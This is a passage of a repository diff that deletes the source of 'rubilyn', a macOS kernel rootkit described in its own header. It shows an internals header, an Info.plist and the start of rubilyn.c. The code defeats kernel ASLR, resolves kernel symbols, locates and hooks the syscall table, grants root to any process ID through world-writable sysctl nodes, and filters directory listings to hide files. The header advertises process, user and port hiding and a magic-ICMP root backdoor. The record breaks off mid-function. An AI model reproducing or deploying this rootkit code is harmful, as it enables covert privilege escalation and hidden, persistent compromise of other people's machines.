#include <sys/queue.h>
#include <mach-o/loader.h>
#include <sys/kpi_mbuf.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netinet/kpi_ipfilter.h>
#include "/Applications/Xcode.app//Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.7.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/sys/syscall.h"
/* PAD() Macros */
#define PAD_(t) (sizeof(uint64_t) <= sizeof(t) ? 0 : sizeof(uint64_t) - sizeof(t))
#if BYTE_ORDER == LITTLE_ENDIAN
#define PADL_(t) 0
#define PADR_(t) PAD_(t)
#else
#define PADL_(t) PAD_(t)
#define PADR_(t) 0
#endif
/* kernel internals API definitions */
typedef kauth_cred_t (*kauth_cred_setuidgidp)(kauth_cred_t, int, int);
typedef int (*lck_mtx_lockp) (lck_mtx_t*);
typedef int (*lck_mtx_unlockp) (lck_mtx_t*);
typedef int (*KUNCExecutep) (char *, int, int);
typedef void (*proc_list_lockp)(void);
typedef void (*proc_list_unlockp)(void);
/* kernel internal symbols */
uint64_t* nsysent;
lck_mtx_lockp my_lck_mtx_lock;
kauth_cred_setuidgidp my_kauth_cred_setuidgid;
lck_mtx_unlockp my_lck_mtx_unlock;
KUNCExecutep my_KUNCExecute;
proc_list_lockp my_proc_list_lock;
proc_list_unlockp my_proc_list_unlock;
/* kext internal globals */
char* linkeditstr;
char* sysctl;
char* rubilyn;
char* kextstat;
char* netstat;
char* w;
char* who;
char* grep;
char* icmpstr;
/* DKOM structures */
struct proclist {
struct proc* lh_first;
};
struct proclist* my_allproc;
/* pointers to orig syscall */
int (*org_getdirentriesattr) (struct proc *p, void *uap, register_t *retval);
int (*org_getdirentries64) (struct proc *p,void *uap, user_ssize_t *retval);
int (*org_write_nocancel) (struct proc* p,void *uap, user_ssize_t *retval);
/* getdirent & friends structures */
struct getdirentries64_args {
char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];
char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)];
char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)];
char position_l_[PADL_(user_addr_t)]; user_addr_t position; char position_r_[PADR_(user_addr_t)];
};
struct getdirentriesattr_args {
char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];
char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)];
char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char buffer_r_[PADR_(user_addr_t)];
char buffersize_l_[PADL_(user_size_t)]; user_size_t buffersize; char buffersize_r_[PADR_(user_size_t)];
char count_l_[PADL_(user_addr_t)]; user_addr_t count; char count_r_[PADR_(user_addr_t)];
char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char basep_r_[PADR_(user_addr_t)];
char newstate_l_[PADL_(user_addr_t)]; user_addr_t newstate; char newstate_r_[PADR_(user_addr_t)];
char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)];
};
/* write_nocancel struct */
struct write_nocancel_args {
char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)];
char cbuf_l_[PADL_(user_addr_t)]; user_addr_t cbuf; char cbuf_r_[PADR_(user_addr_t)];
char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)];
};
/* prototypes */
static struct sysent* find_sysent();
static int getroot(int pid);
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval);
register_t new_getdirentriesattr(struct proc *p, struct getdirentriesattr_args *uap, register_t *retval);
static void ipf_detach(void* cookie);
static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol);
static errno_t ipf_output(void* cookie, mbuf_t *data, ipf_pktopts_t options);
static int hideproc(int pid);
static int unhideproc(int pid);
uint64_t find_symbol(char* symbolname);
char* string_hide(char* string,int len,char* key);
int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t * retval);
char *my_strstr(char *s, char *find);
kern_return_t rubilyn_start(kmod_info_t * ki, void *d);
kern_return_t rubilyn_stop(kmod_info_t *ki, void *d);
int string_handler();
uint64_t smashASLR();
/* string table index */
struct nlist_64 {
union {
uint32_t n_strx; /* index into the string table */
} n_un;
uint8_t n_type; /* type flag, see below */
uint8_t n_sect; /* section number or NO_SECT */
uint16_t n_desc; /* see <mach-o/stab.h> */
uint64_t n_value; /* value of this symbol (or stab offset) */
};
/* syscall hooking defs */
typedef int32_t sy_call_t (struct proc *, void *, int *);
typedef int32_t (*sys_call_t)();typedef void sy_munge_t (const void *, void *);
/* system call table definition */
struct sysent {
int16_t sy_narg; /* number of args */
int8_t sy_resv; /* reserved */
int8_t sy_flags; /* flags */
sy_call_t *sy_call; /* implementing function */
sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */
sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */
int32_t sy_return_type; /* system call return types */
uint16_t sy_arg_bytes; /* Total size of arguments in bytes */
};
/* xnu-xxx/osfmk/UserNotification/KUNCUserNotifications.h */
#define kOpenApplicationPath 0
#define kOpenPreferencePanel 1
#define kOpenApplication 2
#define kOpenAppAsRoot 0
#define kOpenAppAsConsoleUser 1
/* osfmk/i386/locks.h */
struct lck_spin_t {
unsigned long opaque[10];
};
struct lck_mtx_t {
union {
struct {
volatile uintptr_t lck_mtxd_owner;
union {
struct {
volatile uint32_t
lck_mtxd_waiters:16,
lck_mtxd_pri:8,
lck_mtxd_ilocked:1,
lck_mtxd_mlocked:1,
lck_mtxd_promoted:1,
lck_mtxd_spin:1,
lck_mtxd_is_ext:1,
lck_mtxd_pad3:3;
};
uint32_t lck_mtxd_state;
};
uint32_t lck_mtxd_pad32;
} lck_mtxd;
struct {
struct _lck_mtx_ext_ *lck_mtxi_ptr;
uint32_t lck_mtxi_tag;
uint32_t lck_mtxi_pad32;
} lck_mtxi;
} lck_mtx_sw;
};
/* xnu/bsd/sys/proc_internal.h */
/*
* Description of a process.
*
* This structure contains the information needed to manage a thread of
* control, known in UN*X as a process; it has references to substructures
* containing descriptions of things that the process uses, but may share
* with related processes. The process structure and the substructures
* are always addressible except for those marked "(PROC ONLY)" below,
* which might be addressible only on a processor on which the process
* is running.
*/
/* aren't we pretty for a real life suicide. */
/*$2 = {p_list = {le_next = 0xffffff80073b4300, le_prev = 0xffffff80073b4b80},
p_pid = 163, task = 0xffffff80081038b8, p_pptr = 0xffffff8006d1acc0,
p_ppid = 154, p_pgrpid = 163, p_uid = 501, p_gid = 20, p_ruid = 501,
p_rgid = 20, p_svuid = 501, p_svgid = 20, p_uniqueid = 163, p_mlock = {
opaque = {0, 18446744069414584320}}, p_stat = 2 '\002',
p_shutdownstate = 0 '\0', p_kdebug = 0 '\0', p_btrace = 0 '\0', p_pglist = {
le_next = 0x0, le_prev = 0xffffff80066ac0f0}, p_sibling = {
le_next = 0xffffff80073b4300, le_prev = 0xffffff80073b4bf8}, p_children = {
lh_first = 0xffffff80090e3a80}, p_uthlist = {
tqh_first = 0xffffff8007ef1420, tqh_last = 0xffffff80090eba10}, p_hash = {
le_next = 0x0, le_prev = 0xffffff8006344120}, p_evlist = {tqh_first = 0x0,
tqh_last = 0xffffff80073b25f0}, p_fdmlock = {opaque = {0,
18446744069414584320}}, p_ucred = 0xffffff80063e9170,
p_fd = 0xffffff8006647d10, p_stats = 0xffffff80073f9970,
p_limit = 0xffffff80008d9400, p_sigacts = 0xffffff80073fc490, p_siglist = 0,
p_slock = {opaque = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, p_olimit = 0x0,
p_flag = 16516, p_lflag = 8388608, p_listflag = 196608, p_ladvflag = 0,
p_refcount = 0, p_childrencnt = 4, p_parentref = 0, p_oppid = 0,
p_xstat = 0, p_realtimer = {it_interval = {tv_sec = 0, tv_usec = 0},
it_value = {tv_sec = 0, tv_usec = 0}}, p_rtime = {tv_sec = 0,
tv_usec = 0}, p_vtimer_user = {it_interval = {tv_sec = 0, tv_usec = 0},
it_value = {tv_sec = 0, tv_usec = 0}}, p_vtimer_prof = {it_interval = {
tv_sec = 0, tv_usec = 0}, it_value = {tv_sec = 0, tv_usec = 0}},
p_rlim_cpu = {tv_sec = 0, tv_usec = 0}, p_debugger = 0, sigwait = 0,
sigwait_thread = 0x0, exit_thread = 0x0, p_vforkcnt = 0, p_vforkact = 0x0,
p_fpdrainwait = 0, p_contproc = 163, si_pid = 0, si_status = 0, si_code = 0,
si_uid = 0, vm_shm = 0x0, p_dtrace_argv = 140734881307856,
p_dtrace_envp = 140734881307880, p_dtrace_sprlock = {opaque = {0,
18446744069414584320}}, p_dtrace_probes = 0, p_dtrace_count = 0,
p_dtrace_stop = 0 '\0', p_dtrace_ptss_pages = 0x0,
p_dtrace_ptss_free_list = 0x0, p_dtrace_helpers = 0x0,
p_dtrace_lazy_dofs = 0xffffff8008ad9800, p_argslen = 656, p_argc = 2,
user_stack = 140734881308672, p_textvp = 0xffffff8008feb458,
p_textoff = 4096, p_sigmask = 0, p_sigignore = 406880256,
p_sigcatch = 524288, p_priority = 24 '\030', p_resv0 = 0 '\0',
p_nice = 0 '\0', p_resv1 = 0 '\0', p_mac_enforce = 128,
p_comm = "Terminal\000sk\000\000\000\000\000",
p_name = '\0' <repeats 32 times>, p_pgrp = 0xffffff80066ac0e0,
p_csflags = 1, p_pcaction = 2, p_uuid = "4?\"2?R2Ę??U??py",
p_aio_total_count = 0, p_aio_active_count = 0, p_aio_activeq = {
tqh_first = 0x0, tqh_last = 0xffffff80073b2868}, p_aio_doneq = {
tqh_first = 0x0, tqh_last = 0xffffff80073b2878}, p_klist = {
slh_first = 0xffffff800822b008}, p_ru = 0x0, p_sigwaitcnt = 0,
p_signalholder = 0x0, p_transholder = 0x0, p_acflag = 0, p_lctx = 0x0,
p_lclist = {le_next = 0x0, le_prev = 0x0}, p_threadstart = 140735640230760,
p_wqthread = 140735640230776, p_pthsize = 8192,
p_targconc = 140735213105216, p_wqptr = 0xffffff8035fe7000, p_wqsize = 8632,
p_wqiniting = 0, p_wqlock = {opaque = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}},
p_start = {tv_sec = 1343305033, tv_usec = 282745},
p_rcall = 0xffffff800759c770, p_ractive = 0, p_idversion = 163,
p_pthhash = 0xffffff8006d84408, p_dispatchqueue_offset = 160}
*/
struct proc {
LIST_ENTRY(proc) p_list; /* List of all processes. */
pid_t p_pid; /* Process identifier. (static)*/
void * task; /* corresponding task (static)*/
struct proc * p_pptr; /* Pointer to parent process.(LL) */
pid_t p_ppid; /* process's parent pid number */
pid_t p_pgrpid; /* process group id of the process (LL)*/
uid_t p_uid;
gid_t p_gid;
uid_t p_ruid;
gid_t p_rgid;
uid_t p_svuid;
gid_t p_svgid;
uint64_t p_uniqueid; /* process uniqe ID */
struct lck_mtx_t p_mlock; /* mutex lock for proc */
char p_stat; /* S* process status. (PL)*/
char p_shutdownstate;
char p_kdebug; /* P_KDEBUG eq (CC)*/
char p_btrace; /* P_BTRACE eq (CC)*/
LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */
LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/
LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/
TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */
LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/
TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */
struct lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */
/* substructures: */
kauth_cred_t p_ucred; /* Process owner's identity. (PL) */ // SEEM OK TO HERE
struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */
struct pstats *p_stats; /* Accounting/statistics (PL). */
struct plimit *p_limit; /* Process limits.(PL) */
struct sigacts *p_sigacts; /* Signal actions, state (PL) */
int p_siglist; /* signals captured back from threads */
struct lck_spin_t p_slock; /* spin lock for itimer/profil protection */
#define p_rlimit p_limit->pl_rlimit
struct plimit *p_olimit; /* old process limits - not inherited by child (PL) */
unsigned int p_flag; /* P_* flags. (atomic bit ops) */
unsigned int p_lflag; /* local flags (PL) */
unsigned int p_listflag; /* list flags (LL) */
unsigned int p_ladvflag; /* local adv flags (atomic) */
int p_refcount; /* number of outstanding users(LL) */
int p_childrencnt; /* children holding ref on parent (LL) */
int p_parentref; /* children lookup ref on parent (LL) */
pid_t p_oppid; /* Save parent pid during ptrace. XXX */
u_int p_xstat; /* Exit status for wait; also stop signal. */
//#ifdef _PROC_HAS_SCHEDINFO_
// /* may need cleanup, not used */
// u_int p_estcpu; /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */
// fixpt_t p_pctcpu; /* %cpu for this process during p_swtime (used by aio)*/
// u_int p_slptime; /* used by proc_compare */
//#endif /* _PROC_HAS_SCHEDINFO_ */
struct itimerval p_realtimer; /* Alarm timer. (PSL) */
struct timeval p_rtime; /* Real time.(PSL) */
struct itimerval p_vtimer_user; /* Virtual timers.(PSL) */
struct itimerval p_vtimer_prof; /* (PSL) */
struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */
int p_debugger; /* NU 1: can exec set-bit programs if suser */
boolean_t sigwait; /* indication to suspend (PL) */
void *sigwait_thread; /* 'thread' holding sigwait(PL) */
void *exit_thread; /* Which thread is exiting(PL) */
int p_vforkcnt; /* number of outstanding vforks(PL) */
void * p_vforkact; /* activation running this vfork proc)(static) */
int p_fpdrainwait; /* (PFDL) */
pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */
/* Following fields are info from SIGCHLD (PL) */
pid_t si_pid; /* (PL) */
u_int si_status; /* (PL) */
u_int si_code; /* (PL) */
uid_t si_uid; /* (PL) */
void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */
//#if CONFIG_DTRACE
user_addr_t p_dtrace_argv; /* (write once, read only after that) */
user_addr_t p_dtrace_envp; /* (write once, read only after that) */
struct lck_mtx_t p_dtrace_sprlock; /* sun proc lock emulation */
int p_dtrace_probes; /* (PL) are there probes for this proc? */
u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */
uint8_t p_dtrace_stop; /* indicates a DTrace-desired stop */
struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */
struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */
struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */
struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */
//#endif /* CONFIG_DTRACE */
/* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */
/* The following fields are all copied upon creation in fork. */
#define p_startcopy p_argslen
u_int p_argslen; /* Length of process arguments. */
int p_argc; /* saved argc for sysctl_procargs() */
user_addr_t user_stack; /* where user stack was allocated */
struct vnode *p_textvp; /* Vnode of executable. */
off_t p_textoff; /* offset in executable vnode */
sigset_t p_sigmask; /* DEPRECATED */
sigset_t p_sigignore; /* Signals being ignored. (PL) */
sigset_t p_sigcatch; /* Signals being caught by user.(PL) */
u_char p_priority; /* (NU) Process priority. */
u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */
char p_nice; /* Process "nice" value.(PL) */
u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */
//#if CONFIG_MACF
int p_mac_enforce; /* MAC policy enforcement control */
//#endif
char p_comm[MAXCOMLEN+1];
char p_name[(2*MAXCOMLEN)+1]; /* PL */
struct pgrp *p_pgrp; /* Pointer to process group. (LL) */
#if CONFIG_EMBEDDED
int p_iopol_disk; /* disk I/O policy (PL) */
#endif /* CONFIG_EMBEDDED */
uint32_t p_csflags; /* flags for codesign (PL) */
uint32_t p_pcaction; /* action for process control on starvation */
uint8_t p_uuid[16]; /* from LC_UUID load command */
/* End area that is copied on creation. */
/* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */
#define p_endcopy p_aio_total_count
int p_aio_total_count; /* all allocated AIO requests for this proc */
int p_aio_active_count; /* all unfinished AIO requests for this proc */
TAILQ_HEAD( , aio_workq_entry ) p_aio_activeq; /* active async IO requests */
TAILQ_HEAD( , aio_workq_entry ) p_aio_doneq; /* completed async IO requests */
//struct klist p_klist; /* knote list (PL ?)*/
struct rusage *p_ru; /* Exit information. (PL) */
int p_sigwaitcnt;
thread_t p_signalholder;
thread_t p_transholder;
/* DEPRECATE following field */
u_short p_acflag; /* Accounting flags. */
struct lctx *p_lctx; /* Pointer to login context. */
LIST_ENTRY(proc) p_lclist; /* List of processes in lctx. */
user_addr_t p_threadstart; /* pthread start fn */
user_addr_t p_wqthread; /* pthread workqueue fn */
int p_pthsize; /* pthread size */
user_addr_t p_targconc; /* target concurrency ptr */
void * p_wqptr; /* workq ptr */
int p_wqsize; /* allocated size */
boolean_t p_wqiniting; /* semaphore to serialze wq_open */
struct lck_spin_t* p_wqlock; /* lock to protect work queue */
struct timeval p_start; /* starting time */
void * p_rcall;
int p_ractive;
int p_idversion; /* version of process identity */
void * p_pthhash; /* pthread waitqueue hash */
#if DIAGNOSTIC
unsigned int p_fdlock_pc[4];
unsigned int p_fdunlock_pc[4];
#if SIGNAL_DEBUG
unsigned int lockpc[8];
unsigned int unlockpc[8];
#endif /* SIGNAL_DEBUG */
#endif /* DIAGNOSTIC */
uint64_t p_dispatchqueue_offset;
};
#endif
backdoor/rubilyn/source/rubilyn-Info.plist
-35
View File
@@ -1,35 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleExecutable</key>
<string>${EXECUTABLE_NAME}</string>
<key>CFBundleIconFile</key>
<string></string>
<key>CFBundleIdentifier</key>
<string>com.hackerfantastic.${PRODUCT_NAME:rfc1034identifier}</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>${PRODUCT_NAME}</string>
<key>CFBundlePackageType</key>
<string>KEXT</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleVersion</key>
<string>1</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2012 Hacker Fantastic. All rights are lust.</string>
<key>OSBundleLibraries</key>
<dict>
<key>com.apple.kpi.bsd</key>
<string>10.0.0</string>
<key>com.apple.kpi.libkern</key>
<string>10.0.0</string>
</dict>
</dict>
</plist>
backdoor/rubilyn/source/rubilyn.c
-663
View File
@@ -1,663 +0,0 @@
/*
.o8 o8o oooo
"888 `"' `888
oooo d8b oooo oooo 888oooo. oooo 888 oooo ooo ooo. .oo.
`888""8P `888 `888 d88' `88b `888 888 `88. .8' `888P"Y88b
888 888 888 888 888 888 888 `88..8' 888 888
888 888 888 888 888 888 888 `888' 888 888
d888b `V88V"V8P' `Y8bod8P' o888o o888o .8' o888o o888o
.o..P' HARDCORE EST. 1983
`Y8P'
64bit Mac OS-X kernel rootkit that uses no hardcoded address
to hook the BSD subsystem in all OS-X Lion & below. It uses a
combination of syscall hooking and DKOM to hide activity on a
host. String resolution of symbols no longer works on Mountain
Lion as symtab is destroyed during load, this code is portable
on all Lion & below but requires re-working for hooking under
Mountain Lion.
Features:
* works across multiple kernel versions (tested 11.0.0+)
* give root privileges to pid
* hide files / folders
* hide a process
* hide a user from 'who'/'w'
* hide a network port from netstat
* sysctl interface for userland control
* execute a binary with root privileges via magic ICMP ping
greetingz to #nullsecurity crew, snare, dino, nemo, thegrugq,
piotr & friendz!
-- prdelka
*/
#include "internals.h"
uint64_t KERNEL_BASE;
/* ICMP backdoor configuration */
#define MAGIC_ICMP_TYPE 0
#define MAGIC_ICMP_CODE 255 /* xor'd magic word*/
#define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e"
#define MAGIC_ICMP_STR_LEN 9
#define IP_BUF_SIZE 24
/* maximums for buffer sizes */
#define MAX_HIDDEN_PROCESS 256
#define MAXBUFFER 2048
#define MAXHIDELEN 256
#define MAXCMDPATHLEN MAXPATHLEN
/* string XOR key */
char* key = "I never seem to have anything that if I lost it I’d care too much about.";
/* dynamic resolution of kernel symbols - props to snare for the technique */
uint64_t find_symbol(char* symbolname)
{
uint64_t p;
int nsyms;
uint64_t linkedit;
uint64_t stringtable = 0;
uint64_t string;
struct mach_header_64* mach_kernel;
struct load_command* load_cmd;
struct segment_command_64* segment_cmd;
struct symtab_command* symtab;
struct nlist_64* symbol;
uint64_t retvalue = 0;
mach_kernel = (struct mach_header_64*) KERNEL_BASE;
p = KERNEL_BASE+sizeof(struct mach_header_64);
for(int i = 0;i < mach_kernel->ncmds;i++){
load_cmd = (struct load_command*)p;
if(load_cmd->cmd == LC_SEGMENT_64){
segment_cmd = (struct segment_command_64*)p;
if(strncmp(segment_cmd->segname,linkeditstr,strlen(segment_cmd->segname))==0){
linkedit = segment_cmd->vmaddr;
stringtable += linkedit;
}
}
if(load_cmd->cmd == LC_SYMTAB){
symtab = (struct symtab_command*)p;
stringtable += (symtab->stroff - symtab->symoff);
nsyms = symtab->nsyms;
}
p+=load_cmd->cmdsize;
}
if(linkedit){
for(int i = 0;i < nsyms;i++){
p = linkedit + (sizeof(struct nlist_64) * i);
symbol = (struct nlist_64*)p;
string = stringtable + symbol->n_un.n_strx;
if(strncmp((char*)string,symbolname,strlen((char*)string))==0){
retvalue = symbol->n_value;
}
}
}
return retvalue;
}
/* locate the kernel base address from IDT */
uint64_t smashASLR()
{
uint8_t idtr[10];
uint64_t idt = 0;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((uint64_t *) &idtr[2]);
struct descriptor_idt *int80_descriptor = NULL;
uint64_t int80_address = 0;
uint64_t high = 0;
uint32_t middle = 0;
int80_descriptor = _MALLOC(sizeof(struct descriptor_idt),M_TEMP,M_WAITOK);
bcopy((void*)idt,int80_descriptor,sizeof(struct descriptor_idt));
high = (unsigned long)int80_descriptor->offset_high << 32;
middle = (unsigned int)int80_descriptor->offset_middle << 16;
int80_address = (uint64_t)(high + middle + int80_descriptor->offset_low);
uint64_t temp_address = int80_address;
uint8_t *temp_buffer = _MALLOC(4,M_TEMP,M_WAITOK);
while (temp_address > 0)
{
bcopy((void*)temp_address,temp_buffer,4);
if (*(uint32_t*)(temp_buffer) == MH_MAGIC_64)
{
KERNEL_BASE = temp_address;
return 0;
}
temp_address -= 1;
}
/* if this does not succeed we experience PANIC pain. */
return -1;
}
static struct sysent* find_sysent()
{
struct sysent* table;
table = (struct sysent *)(((uint64_t)nsysent) -
((uint64_t)sizeof(struct sysent) * (uint64_t)*nsysent));
if (table[SYS_syscall].sy_narg == 0 &&
table[SYS_exit].sy_narg == 1 &&
table[SYS_fork].sy_narg == 0 &&
table[SYS_read].sy_narg == 3 &&
table[SYS_wait4].sy_narg == 4 &&
table[SYS_ptrace].sy_narg == 4)
{
return table;
}
else
return NULL;
}
static int getroot(int pid)
{
struct proc *rootpid;
kauth_cred_t creds;
rootpid = proc_find(pid);
if(!rootpid)
return 0;
lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock);
creds = rootpid->p_ucred;
creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0);
rootpid->p_ucred = creds;
lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock);
return 0;
}
/* sysctl mib variables */
static int k_pid = 0;
static int k_pid2 = 0;
static int k_pid3 = 0;
static u_int8_t k_dir[MAXHIDELEN] = { 0x01,0x00 };
static u_int8_t k_cmd[MAXCMDPATHLEN] = { 0x01,0x00 };
static u_int8_t k_user[MAXBUFFER] = { 0x01,0x00 };
static u_int8_t k_port[MAXBUFFER] = { 0x01,0x00 };
/* construct a node (debug.rubilyn) from which other sysctl objects can hang.*/
SYSCTL_NODE(_debug,OID_AUTO,rubilyn,CTLFLAG_RW,0,"");
/* prototypes for read/write handling functions for our sysctl nodes. */
static int sysctl_rubilyn_pid SYSCTL_HANDLER_ARGS;
static int sysctl_rubilyn_pid2 SYSCTL_HANDLER_ARGS;
static int sysctl_rubilyn_pid3 SYSCTL_HANDLER_ARGS;
static int sysctl_rubilyn_dir SYSCTL_HANDLER_ARGS;
static int sysctl_rubilyn_cmd SYSCTL_HANDLER_ARGS;
static int sysctl_rubilyn_user SYSCTL_HANDLER_ARGS;
static int sysctl_rubilyn_port SYSCTL_HANDLER_ARGS;
SYSCTL_PROC(_debug_rubilyn,OID_AUTO,pid,
(CTLTYPE_INT|CTLFLAG_RW|CTLFLAG_ANYBODY),
&k_pid,0,sysctl_rubilyn_pid,"IU","");
SYSCTL_PROC(_debug_rubilyn,OID_AUTO,pid2,
(CTLTYPE_INT|CTLFLAG_RW|CTLFLAG_ANYBODY),
&k_pid2,0,sysctl_rubilyn_pid2,"IU","");
SYSCTL_PROC(_debug_rubilyn,OID_AUTO,pid3,
(CTLTYPE_INT|CTLFLAG_RW|CTLFLAG_ANYBODY),
&k_pid3,0,sysctl_rubilyn_pid3,"IU","");
SYSCTL_PROC(_debug_rubilyn,OID_AUTO,dir,
(CTLTYPE_STRING|CTLFLAG_RW|CTLFLAG_ANYBODY),
&k_dir,MAXHIDELEN,sysctl_rubilyn_dir,"A","");
SYSCTL_PROC(_debug_rubilyn,OID_AUTO,cmd,
(CTLTYPE_STRING|CTLFLAG_RW|CTLFLAG_ANYBODY),
&k_cmd,MAXCMDPATHLEN,sysctl_rubilyn_cmd,"A","");
SYSCTL_PROC(_debug_rubilyn,OID_AUTO,user,
(CTLTYPE_STRING|CTLFLAG_RW|CTLFLAG_ANYBODY),
&k_user,MAXBUFFER,sysctl_rubilyn_user,"A","");
SYSCTL_PROC(_debug_rubilyn,OID_AUTO,port,
(CTLTYPE_STRING|CTLFLAG_RW|CTLFLAG_ANYBODY),
&k_port,MAXBUFFER,sysctl_rubilyn_port,"A","");
static int sysctl_rubilyn_pid SYSCTL_HANDLER_ARGS
{
int ret = sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req);
getroot(k_pid);
k_pid = 0;
return ret;
}
static int sysctl_rubilyn_pid2 SYSCTL_HANDLER_ARGS
{
int ret = sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req);
hideproc(k_pid2);
k_pid2 = 0;
return ret;
}
static int sysctl_rubilyn_pid3 SYSCTL_HANDLER_ARGS
{
int ret = sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req);
unhideproc(k_pid3);
k_pid3 = 0;
return ret;
}
static int sysctl_rubilyn_dir SYSCTL_HANDLER_ARGS
{
return sysctl_handle_string(oidp, oidp->oid_arg1, oidp->oid_arg2, req);
}
static int sysctl_rubilyn_cmd SYSCTL_HANDLER_ARGS
{
return sysctl_handle_string(oidp, oidp->oid_arg1, oidp->oid_arg2, req);
}
static int sysctl_rubilyn_user SYSCTL_HANDLER_ARGS
{
return sysctl_handle_string(oidp, oidp->oid_arg1, oidp->oid_arg2, req);
}
static int sysctl_rubilyn_port SYSCTL_HANDLER_ARGS
{
return sysctl_handle_string(oidp, oidp->oid_arg1, oidp->oid_arg2, req);
}
/* hooked getdirentries64 and friends */
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)
{
int ret;
u_int64_t bcount = 0;
u_int64_t btot = 0;
size_t buffersize = 0;
struct direntry *dirp;
void *mem = NULL;
int updated = 0;
ret = org_getdirentries64(p,uap,retval);
btot = buffersize = bcount = *retval;
if(bcount > 0)
{
MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK);
if(mem == NULL)
return(ret);
copyin(uap->buf, mem, bcount);
dirp = mem;
while(bcount > 0 && dirp->d_reclen > 0)
{
if(dirp->d_reclen > 7)
if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)
{
char *next = (char *) dirp + dirp->d_reclen;
u_int64_t offset = (char *) next - (char *) mem ;
bcount -= dirp->d_reclen;
btot -= dirp->d_reclen;
bcopy(next,dirp,buffersize - offset);
updated = 1;
continue;
}
bcount -= dirp->d_reclen;
dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen);
}
if(updated == 1)
{
copyout(mem,uap->buf,btot);
*retval = btot;
}
FREE(mem,M_TEMP);
}
return ret;
}
struct FInfoAttrBuf {
u_int32_t length;
attrreference_t name;
fsobj_type_t objType;
char finderInfo[32];
u_int32_t dirStatus;
} __attribute__((aligned(4), packed));
typedef struct FInfoAttrBuf FInfoAttrBuf;
register_t new_getdirentriesattr(struct proc *p, struct getdirentriesattr_args *uap, register_t *retval)
{
struct FInfoAttrBuf *dirp;
register_t ret;
int removed = 0;
u_int count = 0;
size_t buffersize = 0;
void *mem = NULL;
ret = org_getdirentriesattr(p,uap,retval);
copyin(uap->count,&count,sizeof(u_int));
buffersize = uap->buffersize;
if(count > 0 && buffersize > 0)
{
MALLOC(mem,void *,buffersize,M_TEMP,M_WAITOK);
if(mem == NULL)
return(ret);
copyin(uap->buffer, mem, buffersize);
dirp = (struct FInfoAttrBuf *) mem;
while(count > 0)
{
char *name = ((char *) &dirp->name + dirp->name.attr_dataoffset);
if(dirp->name.attr_length > 7)
if(strncmp(name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)
{
char *next = ((char *) dirp + dirp->length);
u_int64_t offset = (char *) next - (char *) mem;
bcopy(next,dirp,buffersize - offset);
removed++;
count--;
if(count == 0)
break;
